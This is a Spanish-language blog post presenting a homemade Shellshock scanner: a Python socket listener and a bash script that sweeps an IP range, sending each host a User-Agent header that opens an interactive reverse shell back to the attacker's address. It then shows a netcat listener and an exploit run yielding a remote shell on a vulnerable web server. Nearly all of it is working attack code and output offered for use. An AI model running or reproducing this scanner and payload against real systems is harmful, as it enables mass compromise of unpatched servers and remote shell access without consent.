Esta web utiliza cookies, puedes ver nuestra política de cookies, aquí Si continuas navegando estás aceptándola

BashShock HTTP Scanner


El script que pondremos a la escucha es:

vi python_server_socket.py
import socket
s = socket.socket()
print "-- Socket successfully created"
port = 4141
s.bind(('', port))
print "-- Socket binded to %s" %(port)
s.listen(5)
print "-- Socket is listening"
while True:
    # Establish connection with client.
    c, addr = s.accept()
    print '-- Got connection from', addr
    c.close()
    print '-- Connection closed'

 

NOTA: Este script se pondrá a la escucha en el puerto 4141, si alguien conecta a este puerto imprimirá la ip y cerrará la conexión.

 

El script de chequeo del bug es el siguiente:

#!/bin/bash
clear
echo -e "-----------------------------------------------"
echo -e "| BachShock HTTP Scanner v0.1b, coded by Kr0m |"
echo -e "-----------------------------------------------"
echo -e "++ Remember to put the listening script in the configured port"
echo -e "  python2.7 python_server_socket.py "
echo -e " "

if [ $# -ne 2 ]; then
        echo -e "-- Invalid number of arguments."
        echo -e "bashshock_http_scanner.sh FIRST_IP LAST_IP"
        echo -e " "
        exit
fi

HOST="192.168.20.1"
PORT="4141"

IP="$1"
IP2="$2"

STAT=1
STAT2=1

if [[ $IP =~ ^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$ ]]; then
        OIFS=$IFS
        IFS='.'
        IP=($IP)
        IFS=$OIFS
        [[ ${IP[0]} -le 255 && ${IP[1]} -le 255 && ${IP[2]} -le 255 && ${IP[3]} -le 255 ]]
        STAT=$?
fi

if [ $STAT == '1' ]; then
        echo -e "-- First IP: $1 -- INVALID, aborting"
        exit
else
        echo -e "-- First IP: $1 -- VALID"
fi

if [[ $IP2 =~ ^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$ ]]; then
        OIFS=$IFS
        IFS='.'
        IP2=($IP2)
        IFS=$OIFS
        [[ ${IP2[0]} -le 255 && ${IP2[1]} -le 255 && ${IP2[2]} -le 255 && ${IP2[3]} -le 255 ]]
        STAT2=$?
fi

if [ $STAT2 == '1' ]; then
        echo -e "-- Second IP: $2 -- INVALID, aborting"
        exit
else
        echo -e "-- Second IP: $2 -- VALID"
fi

IFS=. read -r a b c d <<< "$1"
INT=$(printf '%d
' "$((a * 256 ** 3 + b * 256 ** 2 + c * 256 + d))")

IFS=. read -r a b c d <<< "$2"
INT2=$(printf '%d
' "$((a * 256 ** 3 + b * 256 ** 2 + c * 256 + d))")

#echo -e "-- INT: $INT"
#echo -e "-- INT2: $INT2"

if [ "$INT2" -ge "$INT" ]; then
        echo -e "-- Valid IP Range"
else
        echo -e "-- Invalid IP Range, aborting"
        exit
fi

echo -e " "

while [ $INT -le $INT2 ]; do
        A=$(echo -n $(($(($(($((${INT}/256))/256))/256))%256)).)
        B=$(echo -n $(($(($((${INT}/256))/256))%256)).)
        C=$(echo -n $(($((${INT}/256))%256)).)
        D=$(echo $((${INT}%256)))
        echo -e "=============================================================="
        echo -e "++ Scanning IP: $A$B$C$D"
        curl -m 6 -k -H 'User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/'$HOST'/'$PORT' 0>&1' http://$A$B$C$D/ -s -o /dev/null &
        let INT=$INT+1
done
echo -e "=============================================================="

 

Si el script encuentra algún servidor vulnerable en la consola donde tenemos el python nos aparecerá algo tal que así:

-- Socket successfully created
-- Socket binded to 4141
-- Socket is listening
-- Got connection from ('192.168.20.27', 60223)
-- Connection closed

 

Podemos ver como el servidor 192.168.20.27 es vulnerable a dicho ataque, ahora tan solo rejecutamos el ataque como en el artículo anterior y ya tenemos shell ;)

Ponemos a la escucha netcat:

nc -l -p 8080

 

Explotamos la vulnerabilidad:

python2.7 bashshoc.py 192.168.20.27 /index.php 192.168.20.1/8080

 

En la shell con el netcat recibimos la shell remota:

nc -l -p 8080
[email protected] /var/www/bin/web_pruebas $

 

Este script solo funcionará si el fichero de index del server es interpretado a través del wrapper, puede darse el caso en el que el index sea html claro pero tenga otras partes escritas en php por ejemplo.

 


Autor: Kr0m -- 14/10/2014 19:10:44